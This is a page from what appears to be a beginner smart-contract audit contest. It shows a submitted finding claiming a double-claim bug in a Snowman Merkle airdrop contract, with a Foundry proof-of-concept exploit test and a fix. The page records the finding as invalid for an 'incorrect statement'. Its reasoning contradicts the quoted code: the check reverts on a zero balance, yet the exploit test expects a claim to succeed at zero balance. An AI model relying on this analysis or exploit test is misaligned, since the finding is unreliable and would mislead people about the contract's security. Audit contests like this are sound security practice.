Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Dangerous strict equality check allows users to bypass claim restrictions and claim multiple times

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • The claimSnowman() function should ensure each eligible user can only claim their airdrop once by verifying they haven't received tokens before.

  • Explain the specific issue or problem in one or more sentences

  • The function uses strict equality (== 0) to check if a user has already claimed. An attacker can manipulate this by receiving a dust amount of tokens (even 1 wei) from another source, making their balance non-zero and allowing them to claim again after transferring away their tokens.

// Root cause in the codebase with @> marks to highlight the relevant section
// @> Root cause in src/SnowmanAirdrop.sol line 76
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external {
// @> Vulnerable check - strict equality can be manipulated
if (i_snow.balanceOf(receiver) == 0) {
revert SnowmanAirdrop__AlreadyClaimed();
}
// ... rest of claim logic ...
}
// @> Same issue in getMessageHash() line 113
function getMessageHash(address receiver) public view returns (bytes32) {
if (i_snow.balanceOf(receiver) == 0) {
revert SnowmanAirdrop__AlreadyClaimed();
}
// ...
}

Risk

Likelihood:

  • Reason 1: Any user can receive a dust amount of Snowman tokens from any source (DEX, friend, airdrop) either accidentally or intentionally. Once received, they can transfer away all tokens and claim again, repeating indefinitely.

    Reason 2: The attack is trivial to execute and requires no special privileges. Users can even send themselves dust amounts from multiple addresses to enable multiple claims for different eligible addresses they control.

Impact:

  • Impact 1: Airdrop fund drainage - Eligible users can claim multiple times by manipulating their token balance, draining the airdrop allocation meant for other users.

    Impact 2: Unfair distribution - Some users receive multiple allocations while others may receive none if the airdrop funds are exhausted. Breaks the intended fair distribution mechanism.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
contract DoubleClaimTest is Test {
SnowmanAirdrop airdrop;
Snow snow;
Snowman snowman;
address user = makeAddr("user");
address accomplice = makeAddr("accomplice");
uint256 claimAmount = 100e18;
function setUp() public {
// Deploy contracts and setup airdrop
// ... deployment code ...
}
function testDoubleClaimExploit() public {
// Step 1: User claims their legitimate airdrop
vm.startPrank(user);
bytes32[] memory proof = new bytes32[](0);
(uint8 v, bytes32 r, bytes32 s) = createValidSignature(user);
uint256 balanceBefore = snow.balanceOf(user);
console.log("Balance before first claim:", balanceBefore);
airdrop.claimSnowman(user, proof, v, r, s);
uint256 balanceAfterClaim = snow.balanceOf(user);
console.log("Balance after first claim:", balanceAfterClaim);
assertEq(balanceAfterClaim, claimAmount);
// Step 2: User transfers away all tokens
snow.transfer(accomplice, balanceAfterClaim);
uint256 balanceAfterTransfer = snow.balanceOf(user);
console.log("Balance after transfer:", balanceAfterTransfer);
assertEq(balanceAfterTransfer, 0);
// Step 3: Accomplice sends 1 wei back to manipulate the balance check
vm.stopPrank();
vm.prank(accomplice);
snow.transfer(user, 1);
console.log("Balance after receiving dust:", snow.balanceOf(user));
assertEq(snow.balanceOf(user), 1);
// Step 4: User transfers away the dust
vm.prank(user);
snow.transfer(accomplice, 1);
assertEq(snow.balanceOf(user), 0);
// Step 5: User claims AGAIN with the same signature
vm.prank(user);
// @> This should fail but succeeds due to balance being 0 again
airdrop.claimSnowman(user, proof, v, r, s);
uint256 finalBalance = snow.balanceOf(user);
console.log("Balance after second claim:", finalBalance);
// @> User successfully claimed twice!
assertEq(finalBalance, claimAmount);
vm.stopPrank();
}
}

Recommended Mitigation

- remove this codecontract SnowmanAirdrop {
+ // Add this code - proper claim tracking
+ mapping(address => bool) public hasClaimed;
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external {
- // Remove this code - unreliable balance check
- if (i_snow.balanceOf(receiver) == 0) {
- revert SnowmanAirdrop__AlreadyClaimed();
- }
+ // Add this code - reliable claim tracking
+ if (hasClaimed[receiver]) {
+ revert SnowmanAirdrop__AlreadyClaimed();
+ }
// ... validation code ...
+ // Mark as claimed BEFORE transfer
+ hasClaimed[receiver] = true;
// Transfer tokens
i_snow.safeTransferFrom(address(this), receiver, amount);
}
}
+ add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 7 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!